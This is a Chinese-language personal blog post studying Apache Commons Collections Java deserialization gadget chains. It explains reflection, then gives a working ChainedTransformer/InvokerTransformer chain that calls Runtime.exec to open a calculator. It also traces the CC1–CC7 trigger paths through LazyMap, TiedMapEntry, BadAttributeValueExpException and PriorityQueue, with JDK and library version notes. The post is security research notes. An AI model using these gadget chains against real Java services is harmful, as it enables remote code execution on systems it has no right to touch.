CommonsCollections系列Gadget分析

一直拖着没好好看。。这次要搞懂弄清楚并且记住,毕竟经典的挖掘思路以后会一直用得到。

首先要搞懂反射:

反射的功能:运行时调用一个对象的方法或构造类的对象,可以调用private方法。

常用反射机制:
获取类:Class.forName, obj.getClass(), Class.class
获取实例:newInstance,getConstructor.newInstance()
获取方法:getMethod
执行函数:invoke

注意.class不会进行初始化,而forName会进行初始化,即执行static块

拿rce最常用的举例:

1
2
3
Runtime.getRuntime().exec("calc");
Method method= Runtime.class.getMethod("exec", String.class);
Object result = method.invoke(Runtime.getRuntime(), "open -a Calculator");

另一种:

1
2
Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder)clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe"))).start();
  1. 创建实例
    1
    2
    3
    Runtime.getRuntime()本身就会返回一个实例。

    或者用Constructor.newInstance也可以。newInstance里会通过前边类来获得constructor然后调用。
  2. 获取方法
    1
    2
    3
    4
    5
    public Method getMethod(String name, Class<?>... parameterTypes);

    Runtime.class.getMethod("exec", String.class);

    第一个参数是方法名,第二个参数是方法的参数类型类。
  3. 执行方法
    1
    2
    3
    4
    5
    public Object invoke(Object obj, Object... args)

    Object result = method.invoke(Runtime.getRuntime(), "open -a Calculator");

    第一个参数是obj,后边是参数。

补充:

1
2
3
// 第一个invoke是null,原因是invoke第一个参数是对象,第二个参数是方法参数,这里getRuntime没有参数,也不需要对象,直接Runtime类
Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null);
Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(runtime,"open -a calculator");

好了知道了这些就可以继续看了。

CommonCollections5

首先还是看下InvokerTransformer.transform

1
2
3
4
5
6
7
8
public Object transform(Object input) {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
}

RCE:
new Trans("exec", new Class[]{String.class}, new Object[]{"open -a calculator"}).transform(Runtime.getRuntime());

但可以看到,反序列化之后还是得调用transform,这肯定不行,得弄成完全反射的,这就得看ChainedTransformer.transform

1
2
3
4
5
6
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}

可以看到就是对Transformer[]的内容进行递归transform, 因此我们可以写出如下RCE exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Transformer[] transformers = new Transformer[] {
//传入Runtime类
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }),
//反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
//反射调用exec方法
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"open -a calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform("1");

然而还是需要transform(“random input”)来触发,这肯定不行,需要找一个可控的调用transform的点

大哥们找到了触发条件:自动调用LazyMap.get(),因为get直接调用了transform:

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}

这个还是有一些的:

1
2
3
4
5
6
7
8
9
10
11
org.apache.commons.collections.keyvalue.TiedMapEntry:

final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
System.out.println(entry);

只要执行如下方法就触发:
entry.toString();
entry.hashCode();
System.out.println(entry);

BadAttributeValueExpException恰好满足需求:readObject里valObj.toString()直接触发。

因此common-collection5的chain如下:

1
2
3
4
5
BadAttributeValueExpException.readObject
->TiremapEntry.toString
->TiremapEntry.getValue
->TiremapEntry.get
->LazyMap.get(this.factory.transform(key))

Commons-Collections2 4 8

PriorityQueue的链

1
2
3
4
5
6
7
8
9
10
PriorityQueue.readObject
-> PriorityQueue.heapify()
-> PriorityQueue.siftDown()
-> PriorityQueue.siftDownUsingComparator()
-> TransformingComparator.compare()
-> ChainedTransformer.transform()
-> InstantiateTransformer.transform()
-> TemplatesImpl.newTransformer()
... templates Gadgets ...
-> Runtime.getRuntime().exec()

注意,在4.0的链中,都是用的InstantiateTransformer.transform()来触发TemplatesImpl.newTransformer(),从而达到了TemplateImpl的那个defineClass的rce链上。

Commons-Collections1

通过AnnotationInvocationHandler的setValue触发。
最终触发点有两个:TransformedMap.checkSetValue()和LazyMap.get

1
2
3
4
sun.reflect.annotation.AnnotationInvocationHandler.readObject
-> TransformedMap.setValue()
-> TransformedMap.checkSetValue()
-> valueTransformer.transform()

Commons-Collections6、7

6: HashMap.put中,通过TiedMapEntry.hashCode调用LazyMap
7: LazyMap的不同触发点equals,意义不大

两种Java的任意代码执行的构造方式

  1. 利用可控的反射机制。具体的Class、Method等均可控时,利用反射机制,可以构造出任意的类调用、类函数调用
  2. 利用可控的defineClass函数的byte数组。构造恶意的Class字节码数组,常于静态块注入恶意代码

CommonsCollections<=3.2.1 利用链总结:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
起始点:
AnnotationInvocationHandler的readObject
BadAttributeValueExpException的readObject
HashSet的readObject
Hashtable的readObject
重要的承接点
LazyMap的get
DefaultedMap的get
TiedMapEntry的getValue
Proxy的invoke
终点
ChainedTransformer的transform
InvokerTransformer的transform
ConstantTransformer的transform

各exp的jdk适用版本

1
2
jdk7 => CommonsCollection1、3
jdk7 & jdk8 => CommonsCollections5,6,7,9,10

各exp的commons-collections适用版本

1
2
commons-collections<=3.1 CommonsCollections1,3,5,6,7,10
commons-collections<=3.2.1 CommonsCollections1,3,5,6,7,9,10

最后注意:

CommonsCollections5、6、7才可以在jdk 1.8+执行命令

参考:
https://www.anquanke.com/post/id/190472
https://xz.aliyun.com/t/7157
https://www.freebuf.com/articles/web/214096.html

Proudly powered by Hexo and Theme by Hacker
© 2021 LFY